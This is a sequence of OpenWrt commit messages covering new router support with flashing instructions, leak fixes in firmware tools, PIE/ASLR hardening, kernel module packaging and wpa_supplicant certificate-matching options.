base-files package.
Signed-off-by: Kyle Copperfield <kmcopper@danwin1210.me>
NAS devices certainly need to have hdparm to configure
things like spin-down time or their disks will be
constantly spinning. Just catenate CONFIG_HDPARM=y
on these configs.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
The memory hacks got removed from ath10k with 1e27bef ("mac80211: remove
ath10k_pci memory hacks"). As this device has low amount of RAM, switch
to ath-10k-ct small buffers variant, to avoid the OOM Reaper.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
The 'DEFAULT:=m if ALL' line prevents the phase1 buildbots from building
the package, and users from downloading it, since they use 'ALL_KMODS=y'
but 'ALL' is not set.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This reorganizes 02_network board.d files based on what's done for
ath79 and ramips: Instead of putting all settings into a single big
case, the interface/dsl/MAC address setup is put into separate
functions with a specific switch case for each of them. This makes
grouping of devices much easier and should be easier to read, too.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
DSL setup consists of the same commands for all subtargets, so move it
into a helper function.
While at it, remove shebang from library file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This splits the device-dependent base-files into subtarget directories,
like done recently for ath79 and ramips. While this increases the
overall lines of codes, it will make the code per subtarget smaller
and easier to keep track of features and devices.
While at it, several variables at the top of 02_network are removed,
as they were never changed. The values are put directly into the
function calls where they are used.
Remove unneeded LED setup from 01_leds, and remove 01_leds entirely
for falcon subtarget (as it is not used there).
Applies alphabetic reordering to device cases in base-files.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Implement the suggestions laid out in README_PACKAGERS, mainly by preventing
the stripping of the internal vgpreload*.so libraries.
Also retain the symbol information of valgrind's private helper executables
and enable LTO as suggested in the packagers readme.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Setting CONFIG_IPK_FILES_CHECKSUMS=y causes sha256 checksum files to be
included with the packages to check for corruption. This commit fixes two
issues:
- /sbin/pkg_check was being removed incorrectly if IPK_FILES_CHECKSUMS=y
- checksums were being saved in the wrong file
Signed-off-by: Xu Wang <xwang1498@gmx.com>
Add missing calls to `free` for variable `mem`.
Add missing call to `fclose` for variable `f`.
The same changes were made in both `mkfwimage.c` and `mkfwimage2.c`.
Signed-off-by: Andrea Dalla Costa <andrea@dallacosta.me>
Add missing `fclose` calls for file pointers `kern_fp`, `fs_fp`
and `out_fp`.
Not closing files could lead to resource leaks.
Signed-off-by: Andrea Dalla Costa <andrea@dallacosta.me>
Add missing calls to `free` for variable `buffer`.
This could lead to a memory leak.
Add missing call to `close` for file pointer `fdin`.
This could lead to a resource leak.
Signed-off-by: Andrea Dalla Costa <andrea@dallacosta.me>
Add missing calls to `fclose` in functions `write_img`, `write_rootfs`
and `write_kernel`.
The not-closed files could lead to resource leaks.
Signed-off-by: Andrea Dalla Costa <andrea@dallacosta.me>
The wpa_supplicant supports certificate subject validation via the
subject match(2) and altsubject_match(2) fields. domain_match(2) and
domain_suffix_match(2) fields are also supported for advanced matches.
This validation is especially important when connecting to access
points that use PAP as the Phase 2 authentication type. Without proper
validation, the user's password can be transmitted to a rogue access
point in plaintext without the user's knowledge. Most organizations
already require these attributes to be included to ensure that the
connection from the STA and the AP is secure. Includes LuCI changes via
openwrt/luci#3444.
From the documentation:
subject_match - Constraint for server certificate subject. This substring
is matched against the subject of the authentication server certificate.
If this string is set, the server sertificate is only accepted if it
contains this string in the subject. The subject string is in following
format: /C=US/ST=CA/L=San Francisco/CN=Test AS/emailAddress=as
.example.com
subject_match2 - Constraint for server certificate subject. This field is
like subject_match, but used for phase 2 (inside EAP-TTLS/PEAP/FAST
tunnel) authentication.
altsubject_match - Constraint for server certificate alt. subject.
Semicolon separated string of entries to be matched against the
alternative subject name of the authentication server certificate. If
this string is set, the server sertificate is only accepted if it
contains one of the entries in an alternative subject name extension.
altSubjectName string is in following format: TYPE:VALUE Example:
EMAIL:server@example.com Example:
DNS:server.example.com;DNS:server2.example.com Following types are
supported: EMAIL, DNS, URI
altsubject_match2 - Constraint for server certificate alt. subject. This
field is like altsubject_match, but used for phase 2 (inside
EAP-TTLS/PEAP/FAST tunnel) authentication.
domain_match - Constraint for server domain name. If set, this FQDN is
used as a full match requirement for the
server certificate in SubjectAltName dNSName element(s). If a
matching dNSName is found, this constraint is met. If no dNSName
values are present, this constraint is matched against SubjectName CN
using same full match comparison. This behavior is similar to
domain_suffix_match, but has the requirement of a full match, i.e.,
no subdomains or wildcard matches are allowed. Case-insensitive
comparison is used, so "Example.com" matches "example.com", but would
not match "test.Example.com". More than one match string can be
provided by using semicolons to
separate the strings (e.g., example.org;example.com). When multiple
strings are specified, a match with any one of the values is considered
a sufficient match for the certificate, i.e., the conditions are ORed
together.
domain_match2 - Constraint for server domain name. This field is like
domain_match, but used for phase 2 (inside EAP-TTLS/PEAP/FAST tunnel)
authentication.
domain_suffix_match - Constraint for server domain name. If set, this
FQDN is used as a suffix match requirement for the AAA server
certificate in SubjectAltName dNSName element(s). If a matching dNSName
is found, this constraint is met. If no dNSName values are present,
this constraint is matched against SubjectName CN using same suffix
match comparison. Suffix match here means that the host/domain name is
compared one label at a time starting from the top-level domain and all
the labels in domain_suffix_match shall be included in the certificate.
The certificate may include additional sub-level labels in addition to
the required labels. More than one match string can be provided by using
semicolons to separate the strings (e.g., example.org;example.com).
When multiple strings are specified, a match with any one of the values
is considered a sufficient match for the certificate, i.e., the
conditions are ORed together. For example,
domain_suffix_match=example.com would match test.example.com but would
not match test-example.com. This field is like domain_match, but used
for phase 2 (inside EAP-TTLS/PEAP/FAST tunnel) authentication.
domain_suffix_match2 - Constraint for server domain name. This field is
like domain_suffix_match, but used for phase 2 (inside
EAP-TTLS/PEAP/FAST tunnel) authentication.
Signed-off-by: David Lam <david@thedavid.net>
Package new kmods "nf_tables_set" and "nft_objref" which got introduced
with kernel 4.18 and restrict the old "nft_set_rbtree" and "nft_set_hash"
modules to sub-4.18 versions.
Also reorder the nftables related netfilter.mk entries alphabetically
while touching this code section.
Fixes: FS#2699
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=2699#comment7450
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Network interfaces are looked up based on the device behind a phy, so the
phy needs to be checked separately
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This splits some base-files across subtargets, as done previously
on ath79 and ramips and also introduced for mt7629 subtarget here
already. Most of the existing base-files content is specific to
mt7623.
While at it, apply the following fixes:
- Remove lots of trailing whitespaces
- Remove wildcard on unielec,u7623-02-emmc-512m
- Remove inconsistent quotation marks in cases
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: John Crispin <john@phrozen.org>
The Aruba AP-303H is the hospitality version of the Aruba AP-303 with a
POE-passthrough enabled ethernet switch instead of a sigle PHY.
Hardware
--------
SoC: Qualcomm IPQ4029
RAM: 512M DDR3
FLASH: - 128MB SPI-NAND (Macronix)
- 4MB SPI-NOR (Macronix MX25R3235F)
TPM: Atmel AT97SC3203
BLE: Texas Instruments CC2540T
attached to ttyMSM1
ETH: Qualcomm QCA8075
LED: WiFi (amber / green)
System (red / green /amber)
PSE (green)
BTN: Reset
USB: USB 2.0
To connect to the serial console, you can solder to the labled pads next
to the USB port or use your Aruba supplied UARt adapter.
Do NOT plug a standard USB cable into the Console labled USB-port!
Aruba/HPE simply put UART on the micro-USB pins. You can solder yourself
an adapter cable:
VCC - NC
D+ - TX
D- - RX
GND - GND
The console setting in bootloader and OS is 9600 8N1. Voltage level is
3.3V.
To enable a full list of commands in the U-Boot "help" command, execute
the literal "diag" command.
Installation
------------
1. Get the OpenWrt initramfs image. Rename it to ipq40xx.ari and put it
into the TFTP server root directory. Configure the TFTP server to
be reachable at 192.168.1.75/24. Connect the machine running the TFTP
server to the E0 (!) ethernet port of the access point, as it only
tries to pull from the WAN port.
2. Connect to the serial console. Interrupt autobooting by pressing
Enter when prompted.
3. Configure the bootargs and bootcmd for OpenWrt.
$ setenv bootargs_openwrt "setenv bootargs console=ttyMSM0,9600n8"
$ setenv nandboot_openwrt "run bootargs_openwrt; ubi part aos1;
ubi read 0x85000000 kernel; set fdt_high 0x87000000;
bootm 0x85000000"
$ setenv ramboot_openwrt "run bootargs_openwrt;
setenv ipaddr 192.168.1.105; setenv serverip 192.168.1.75;
netget; set fdt_high 0x87000000; bootm"
$ setenv bootcmd "run nandboot_openwrt"
$ saveenv
4. Load OpenWrt into RAM:
$ run ramboot_openwrt
5. After OpenWrt booted, transfer the OpenWrt sysupgrade image to the
/tmp folder on the device. You will need to plug into E1-E3 ports of
the access point to reach OpenWrt, as E0 is the WAN port of the
device.
6. Flash OpenWrt:
$ ubidetach -p /dev/mtd16
$ ubiformat /dev/mtd16
$ sysupgrade -n /tmp/openwrt-sysupgrade.bin
To go back to the stock firmware, simply reset the bootcmd in the
bootloader to the original value:
$ setenv bootcmd "boot"
$ saveenv
Signed-off-by: David Bauer <mail@david-bauer.net>
The Ubiquiti ToughSwitch 5XP is a 5-port PoE Gigabit switch with a single
Fast-Ethernet management port. It supports both 24V passive PoE out on all
five ports.
Flash: 8 MB
RAM: 64 MB
SoC: AR7242
Switch: ar8327
USB: 1x USB 2.0
Ethernet: 5x GbE, 1x FE
Installation of the firmware is possible either via serial + tftpboot or
the factory firmware update function via webinterface.
By default the single Fast-Ethernet port labeled "MGMT" is configured
as the WAN port. Thus access to the device is only possible via the
five switch ports.
Serial: 3v3 115200 8n1
The serial header is located in the lower left corner of the switches PCB:
```
|
|
|
| o
| o RX
| o TX
| o GND
|
|
++ +-++-+ ++ ++ +
+--+ ++ +--++--++--+
```
Signed-off-by: Tobias Schramm <tobleminer@gmail.com>
[remove ubnt,sw compatible - fix spelling - wrap commit message -
remove superfluous phy-mode property]
Signed-off-by: David Bauer <mail@david-bauer.net>
This device OOPs during the boot due to broken flash. It can be probably
fixed with `broken-flash-reset` once ramips is on 4.19 kernel.
So disable images for this device until its fixed.
Ref: FS#2695, PR#2483
Signed-off-by: Petr Štetiar <ynezz@true.cz>
With this change the well known jshn library will be used, to build the
json arguments for the ubus sysupgrade method. This is also used in all
other shell program that uses JSON. This commit unifies that.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
This activates PIE ASLR support by default when the regular option is
selected.
Size increase on x86/64:
odhcpd-ipv6only Installed-Size: 36821 -> 38216
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This activates PIE ASLR support by default when the regular option is
selected.
Size increase on x86/64:
procd Installed-Size: 44931 -> 47362
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This activates PIE ASLR support by default when the regular option is
selected.
Size increase on x86/64:
ubus Installed-Size: 5602 -> 5950
ubusd Installed-Size: 11643 -> 12119
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This activates PIE ASLR support by default when the regular option is
selected.
This increases the binary size by 39% uncompressed and 21% compressed
on MIPS BE.
old:
33,189 /usr/sbin/uhttpd
23,016 uhttpd_2019-08-17-6b03f960-4_mips_24kc.ipk
new:
46,212 /usr/sbin/uhttpd
27,979 uhttpd_2019-08-17-6b03f960-4_mips_24kc.ipk
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Petr Štetiar <ynezz@true.cz>
This activates PIE ASLR support by default when the regular option is
selected.
This increases the binary size by 26% uncompressed and 16% compressed
on MIPS BE.
old:
460,933 /usr/sbin/wpad
283,891 wpad-basic_2019-08-08-ca8c2bd2-1_mips_24kc.ipk
new:
584,508 /usr/sbin/wpad
330,281 wpad-basic_2019-08-08-ca8c2bd2-1_mips_24kc.ipk
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Petr Štetiar <ynezz@true.cz>
This activates PIE ASLR support by default when the regular option is
selected.
This increases the binary size by 18% uncompressed and 17% compressed
on MIPS BE.
old:
164,261 /usr/sbin/dropbear
85,648 dropbear_2019.78-2_mips_24kc.ipk
new:
194,492 /usr/sbin/dropbear
100,309 dropbear_2019.78-2_mips_24kc.ipk
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Petr Štetiar <ynezz@true.cz>
This activates PIE ASLR support by default when the regular option is
selected.
This increases the binary size by 37% uncompressed and 18% compressed
on MIPS BE.
old:
146,933 /usr/sbin/dnsmasq
101,837 dnsmasq_2.80-14_mips_24kc.ipk
new:
202,020 /usr/sbin/dnsmasq
120,577 dnsmasq_2.80-14_mips_24kc.ipk
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Petr Štetiar <ynezz@true.cz>
This tristate choose allows to select to build only some applications
with PIE enabled. On MIPS binaries are getting about 30% bigger when PIE
is activated for the, which is a huge increase.
Network exposed applications like dnsmasq should then be build with PIE
enabled, but some applications which are normally not parsing data from
the network do not have it activated. The regular option should give a
good trade off between extra flash and RAM memory usage and security.
This changes the default from building no applications with PIE to build
some specifically marked applications with PIE enabled. This option is
only activated for targets with bigger flash and RAM to not consume
extra memory on the very small targets. On SDK builds the Regular option
should always be selected, because some tiny targets share the
applications with big targets and only the images for the tiny targets
should contain the none PIE applications, but the images for the normal
targets should use PIE. The shared packages should always use PIE when
it should be normally activated.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Petr Štetiar <ynezz@true.cz>
nft_hash hash falsely removed in commit 97940f8766
("kernel: remove obsolete kernel version switches").
Add the module back, as otherwise the build fails.
Fixes: 97940f8766 ("kernel: remove obsolete kernel version switches")
Signed-off-by: David Bauer <mail@david-bauer.net>
After kernel 4.9 has been removed, this removes all (now obsolete)
kernel version switches that deal with versions before 4.14.
Package kmod-crypto-iv is empty now and thus removed entirely.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Builds for kenrel 4.14 targetswere failing because of
missing symbols for the B53 swconfig driver.
Fixes: 313bde53ce ("generic: update config-4.19")
Signed-off-by: David Bauer <mail@david-bauer.net>
Hardware:
SOC: Qualcomm IPQ4018
RAM: 128 MB Nanya NT5CC64M16GP-DI
FLASH: 16 MB Macronix MX25L12805D
ETH: Qualcomm QCA8075 (4 Gigabit ports, 3xLAN, 1xWAN)
WLAN: Qualcomm IPQ4018 (2.4 & 5 Ghz)
BUTTON: Shared WPS/Reset button
LED: RGB Status/Power LED
SERIAL: Header J8 (UART, Left side of board). Numbered from
top to bottom:
(1) GND, (2) TX, (3) RX, (4) VCC (White triangle
next to it).
3.3v, 115200, 8N1
Tested/Working:
* Ethernet
* WiFi (2.4 and 5GHz)
* Status LED
* Reset Button (See note below)
Implementation notes:
* The shared WPS/Reset button is implemented as a Reset button
* I could not find a original firmware image to reverse engineer, meaning
currently it's not possible to flash OpenWrt through the Web GUI.
Installation (Through Serial console & TFTP):
1. Set your PC to fixed IP 192.168.1.12, Netmask 255.255.255.0, and connect to
one of the LAN ports
2. Rename the initramfs image to 'C0A8010B.img' and enable a TFTP server on
your pc, to serve the image
2. Connect to the router through serial (See connection properties above)
3. Hit a key during startup, to pause startup
4. type `setenv serverip 192.168.1.12`, to set the tftp server address
5. type `tftpboot`, to load the image from the laptop through tftp
6. type `bootm` to run the loaded image from memory
6. (If you want to return to stock firmware later, create an full MTD backup,
e.g. using instructions here https://openwrt.org/docs/guide-user/installation/generic.backup#create_full_mtd_backup)
7. Transfer the 'sysupgrade' OpenWrt firmware image from PC to router, e.g.:
`scp xxx-squashfs-sysupgrade.bin root@192.168.1.1:/tmp/upgrade.bin`
8. Run sysupgrade to permanently install OpenWrt to flash: `sysupgrade -n /tmp/upgrade.bin`
Revert to stock:
To revert to stock, you need the MTD backup from step 6 above:
1. Unpack the MTD backup archive
2. Transfer the 'firmware' partition image to the router (e.g. mtd8_firmware.backup)
3. On the router, do `mtd write mtd8_firmware.backup firmware`
Signed-off-by: Tom Brouwer <tombrouwer@outlook.com>
[removed BOARD_NAME, OpenWRT->OpenWrt, changed LED device name to board name]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch partially reverts
"ipq40xx: remove unnecessary usb nodes in DTS for ASUS RT-AC58U"
as the change removed the usb2 port-trigger, so the LED would no
longer light-up when a USB 2.0 was inserted into the USB port.
Fixes: d0efb1ba95 ("ipq40xx: remove unnecessary usb nodes in DTS for ASUS RT-AC58U")
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Flash: 8 MB
RAM: 64 MB
SoC: AR7242
Switch: bcm53128
USB: 1x USB 2.0
Ethernet: 8x GbE, 1x FE
The Ubiquiti ToughSwitch 8XP is a 8-port PoE Gigabit switch with a single
Fast-Ethernet management port. It supports both 24V passive PoE and 48V
802.11af/at PoE out on all eight ports.
By default the single Fast-Ethernet port labeled "MGMT" is configured as the
WAN port. Thus access to the device is only possible via the eight switch
ports.
Installation of the firware is possible either via serial + tftpboot or
the factory firmware update function via webinterface.
Serial: 3v3 115200 8n1
The serial header is located in the lower left corner of the switches PCB:
|
|
|
| o
| o RX
| o TX
| o GND
|
|
++ +-++-+ ++ ++ +
+--+ ++ +--++--++--+
Signed-off-by: Tobias Schramm <tobleminer@gmail.com>
[fix whitespace issue]
Signed-off-by: David Bauer <mail@david-bauer.net>
SW devices are Ubiquit ToughSwitch and EdgeSwitch series devices.
Hardware-wise they are very similar to the XM device series.
Signed-off-by: Tobias Schramm <tobleminer@gmail.com>
This commit adds support for Ubiquiti ToughSwitch XP (and probably also
EdgeSwitch XP) devices. They are mostly based on the same hardware as
MX devices.
Signed-off-by: Tobias Schramm <tobleminer@gmail.com>
This commit fixes a bug in the main swconfig patch where a function
needed by the b53 driver is not exported.
Additionally it adds OF support to the b53_mdio driver for devicetree-
based probing
Signed-off-by: Tobias Schramm <tobleminer@gmail.com>
Keep up with a small amount of churn in the upstream repository.
Upstream now represents the version of CAKE as found in the linux kernel
from 4.19 onwards but with some compatibility stubs to allow building on
<4.19.
After a diversion related to an experimental ECN implementation which
has now been reverted, the important and relevant changes for us are:
8a8946b sch_cake: avoid possible divide by zero in cake_enqueue()
183b320 RFC 8622 diffserv3, 4 & 8 LE PHB support
6ff4561 sch_cake: Make sure we can write the IP header before changing DSCP bits
9fba602 sch_cake: Use tc_skb_protocol for getting packet protocol
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
u-boot splits nand factory firmware at 2M offset, flash the first
part as kernel into spi nor and the other part as ubi into nand
flash. With previous commit increasing kernel size to 4M, generated
factory firmware is broken because ubi is at 4M offset.
This commit reduces kernel size definition to 2M in image Makefile,
producing proper factory image. Partition size in dts is kept
unchanged so that sysupgrade to a firmware with 2M+ kernel still
works.
Fixes: b496a2294c ("ath79: GL-AR750S: provide NAND support; increase kernel to 4 MB")
Reported-by: Jeff Kletsky <git-commits@allycomm.com>
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* systemd: update documentation URL
* global: bump copyright
Usual house keeping.
* Makefile: DEBUG_TOOLS -> DEBUG and document
* Makefile: port static analysis check
* dns-hatchet: adjust path for new repo layout
* Makefile: rework automatic version.h mangling
These are some important-ish cleanups for downstream package maintainers that
should make packaging this a lot smoother.
* man: add documentation about removing explicit listen-port
Documentation improvement.
* wg-quick: linux: quote ifname for nft
This should fix issues with weirdly named ifnames and odd versions of nft(8).
* fuzz: find bugs in the config syntax parser
* fuzz: find bugs when parsing uapi input
These are two fuzzers that have been laying around without a repo for a while.
Perhaps somebody with enough compute power will find bugs with them.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
* socket: mark skbs as not on list when receiving via gro
Certain drivers will pass gro skbs to udp, at which point the udp driver
simply iterates through them and passes them off to encap_rcv, which is
where we pick up. At the moment, we're not attempting to coalesce these
into bundles, but we also don't want to wind up having cascaded lists of
skbs treated separately. The right behavior here, then, is to just mark
each incoming one as not on a list. This can be seen in practice, for
example, with Qualcomm's rmnet_perf driver. This lead to crashes on
OnePlus devices and possibly other Qualcomm 4.14 devices. But I fear
that it could lead to issues on other drivers on weird OpenWRT routers.
This commit is upstream in net-next as:
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net-next.git/commit/?id=736775d06bac60d7a353e405398b48b2bd8b1e54
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
TP-Link Archer C20 v5 is a router with 5-port FE switch and
non-detachable antennas. It's based on MediaTek MT7628N+MT7610EN.
Specification:
- MediaTek MT7628N/N (580 Mhz)
- 64 MB of RAM
- 8 MB of FLASH
- 2T2R 2.4 GHz and 1T1R 5 GHz
- 5x 10/100 Mbps Ethernet
- 3x external, non-detachable antennas
- UART (J1) header on PCB (115200 8n1)
- 7x LED (GPIO-controlled*), 2x button, power input switch
* WAN LED in this devices is a dual-color, dual-leads type which isn't
(fully) supported by gpio-leds driver. This type of LED requires both
GPIOs state change at the same time to select color or turn it off.
For now, we support/use only the green part of the LED.
Create Factory image
--------------------
As all installation methods require a U-Boot to be integrated into the
Image (and we do not ship one with the image) we are not able to create
an image in the OpenWRT build-process.
Download a TP-Link image from their Website and a OpenWRT sysupgrade
image for the device and build yourself a factory image like following:
TP-Link image: tpl.bin
OpenWRT sysupgrade image: owrt.bin
> dd if=tpl.bin of=boot.bin bs=131584 count=1
> cat owrt.bin >> boot.bin
Installing via Web-UI
---------------------
Upload the boot.bin via TP-Links firmware upgrade tool in the
web-interface.
Installing via Recovery
-----------------------
Activate Web-Recovery by beginning the upgrade Process with a
Firmware-Image from TP-Link. After starting the Firmware Upgrade,
wait ~3 seconds (When update status is switching to 0%), then
disconnect the power supply from the device. Upgrade flag (which
activates Web-Recovery) is written before the OS-image is touched and
removed after write is succesfull, so this procedure should be safe.
Plug the power back in. It will come up in Recovery-Mode on 192.168.0.1.
When active, all LEDs but the WPS LED are off.
Remeber to assign yourself a static IP-address as DHCP is not active in
this mode.
The boot.bin can now be uploaded and flashed using the web-recovery.
Installing via TFTP
-------------------
Prepare an image like following (Filenames from factory image steps
apply here)
> dd if=/dev/zero of=tp_recovery.bin bs=196608 count=1
> dd if=tpl.bin of=tmp.bin bs=131584 count=1
> dd if=tmp.bin of=boot.bin bs=512 skip=1
> cat boot.bin >> tp_recovery.bin
> cat owrt.bin >> tp_recovery.bin
Place tp_recovery.bin in root directory of TFTP server and listen on
192.168.0.66/24.
Connect router LAN ports with your computer and power up the router
while pressing the reset button. The router will download the image via
tftp and after ~1 Minute reboot into OpenWRT.
U-Boot CLI
----------
U-Boot CLI can be activated by holding down '4' on bootup.
Dual U-Boot
-----------
This is TP-Link MediaTek device with a split-uboot feature design like
a TP-Link Archer C50 v4. The first (factory-uboot) provides recovery via
TFTP and HTTP, jumping straight into the second (firmware-uboot) if no
recovery needs to be performed. The firmware-uboot unpacks and executed
the kernel.
Web-Recovery
------------
TP-Link integrated a new Web-Recovery like the one on the Archer C7v4 /
TL-WR1043v5 / Archer C50v4. Stock-firmware sets a flag in the "romfile"
partition before beginning to write and removes it afterwards. If the
router boots with this flag set, bootloader will automatically start
Web-recovery and listens on 192.168.0.1. This way, the vendor-firmware
or an OpenWRT factory image can be written.
By doing the same while performing sysupgrade, we can take advantage of
the Web-recovery in OpenWRT.
It is important to note that Web-Recovery is only based on this flag. It
can't detect e.g. a crashing kernel or other means. Once activated it
won't boot the OS before a recovery action (either via TFTP or HTTP) is
performed. This recovery-mode is indicated by an illuminated WPS-LED on
boot.
Signed-off-by: Maxim Anisimov <maxim.anisimov.ua@gmail.com>
[adjust some node names for LEDs in DTS]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
- add "gpio" group for wan_orange led
- use tpt triggers for wifi led indication
- add wifi 5 GHz led support
Signed-off-by: Maxim Anisimov <maxim.anisimov.ua@gmail.com>
[slight commit message adjustment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When running sysupgrade from an existing configuration, UCI option
dhcp.@dnsmasq[0].resolvfile needs to be modified in case it has not
been changed from it's original value.
Accomplish that using a uci-defaults script.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Image builds for the ramips-mt7621 target currently fail with:
> WARNING: Image file ./hiwifi_hc5962-kernel.bin is too big
Disable this board for now. It can still be built using the SDK.
Signed-off-by: David Bauer <mail@david-bauer.net>
Without this commit, ft_psk_generate_local is enabled for non-PSK
networks by default. This breaks 802.11r for EAP networks.
Disable ft_psk_generate_local by default for non-PSK networks resolves
this misbehavior.
Reported-by: Martin Weinelt <martin@darmstadt.freifunk.net>
Signed-off-by: David Bauer <mail@david-bauer.net>
Tested-by: Martin Weinelt <martin@darmstadt.freifunk.net>
This target is still on kernel 4.9, and it looks like there is no
active maintainer for this target anymore.
Remove the code and all the packages which are only used by this target.
To add this target to OpenWrt again port it to a recent and supported
kernel version.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This target seems to have been unmaintained for quite a while, and not a
single tester for the (now outdated) kernel 4.14 patches has been found.
Remove the code and all the packages which are only used by this target.
To add this target to OpenWrt again port it to a recent and supported
kernel version.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This target seems to have been unmaintained for quite a while, and not a
single tester for the (now outdated) kernel 4.14 patches has been found.
Remove the code and all the packages which are only used by this target.
To add this target to OpenWrt again port it to a recent and supported
kernel version.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for kernel 4.14 to the target and directly make it the
default kernel version to use.
This patch is build-tested only, but has never been device-tested. It is
only added to preserve the changes in Git history prior to removing this
target. Use it with care.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
[rebased and extended commit message, refreshed patches for 4.14.162]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The configuration of the generic subtarget was used as the default
configuration and then the subtarget configurations were adapted.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This adds support for kernel 4.14 to the target and directly make it the
default kernel version to use.
This patch is build-tested only, but has never been device-tested. It is
only added to preserve the changes in Git history prior to removing this
target. Use it with care.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
[rebased and extended commit message, refreshed patches for 4.14.162]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The configuration of the generic subtarget was used as the default
configuration and then the subtarget configurations were adapted.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The device label shows the address currently assigned to the OpenWrt
LAN interface.
Current setup is:
LAN *:b8 factory 0xe006 label
WAN *:b7 factory 0xe000
For vendor FW bootlog we get (manually removed parts of the address):
[ 7.520000] set LAN/WAN LWLLL
[ 7.530000] GMAC1_MAC_ADRH -- : 0x00004031
[ 7.530000] GMAC1_MAC_ADRL -- : 0x3c****b7
[ 7.530000] GDMA2_MAC_ADRH -- : 0x00004031
[ 7.540000] GDMA2_MAC_ADRL -- : 0x3c****b8
[ 7.540000] eth1: ===> VirtualIF_open
Without further information, this does not allow verification of
the currently unexpected LAN/WAN assignment (we would expect 0xe000
to be LAN).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This move the slightly different target-specific implementations of
mktplinkfw from the targets to include/image-commands.mk and renames
it to tplink-v1-image. Having a common version will increase
consistency between implementation and will complete the
tplink build command already present in the new location.
Due to the slight differences of the original implementations, this
also does some adjustments to the device build commands/variables.
This also moves rootfs_align as this is required as dependency.
Tested on:
- TL-WDR4300 v1 (ath79, factory)
- TL-WDR4900 v1 (mpc85xx, sysupgrade)
- RE210 v1 (ramips, see Tested-by)
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Christoph Krapp <achterin@googlemail.com>
Refactor l2 freq scaling patch to support voltage
scaling and add support to base cache scaling on
cpu freq scaling. Update the dtsi files with the new
definition used in the new code.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
It's wrong set the mux to bias-disable. The best way to
do this is by creating a separate group and disable the
specific pins.
By documentation, any subgroup with no bias definition
is ignored so the mux definition is useless.
Rework the definition by sremoving the mux subgroup and
set the remaining subgroup with the mux function and
drive-strength
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
The opp_notifier introduced with patch 0054-Handle-OPP-voltage adjust
for some reason missed the actual registration in the opp struct,
resulting in never being registred.
This was present in kernel 4.9 patchset but dropped in the transition
to 4.14. Reintroduce this and fix patch 0055 about L2 cache scaling.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Previous commit should have bumped PKG_RELEASE, but git add was
forgotten... Add it now.
Fixes: cd48d8d342 ("dnsmasq: switch to /tmp/resolv.conf.d/resolv.conf.auto")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Mount-bind directory instead of resolv.conf.auto file in jail to
avoid problems when the file is deleted/replaced.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This is a backport from the dnsmasq master which should fix a bug which
could cause a crash in dnsmasq.
I saw the following crashes in my log:
[522413.117215] do_page_fault(): sending SIGSEGV to dnsmasq for invalid read access from 2a001450
[522413.124464] epc = 004197f1 in dnsmasq[400000+23000]
[522413.129459] ra = 004197ef in dnsmasq[400000+23000]
This is happening in blockdata_write() when block->next is
dereferenced, but I am not sure if this is related to this problem or if
this is a different problem. I am unable to reproduce this problem.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
ipTIME A8004T is a 2.4/5GHz band AC2600 router, based on Mediatek
MT7621A.
Specifications:
- SoC: MT7621A
- RAM: DDR3 256M
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: MT7615E
- 5GHz: MT7615E
- Ethernet: 5x 10/100/1000Mbps
- Switch: SoC internal
- USB: 1 * USB3.0 port
- UART:
- J4: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
- Other info:
- J9: Unknown unpopulated header.
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
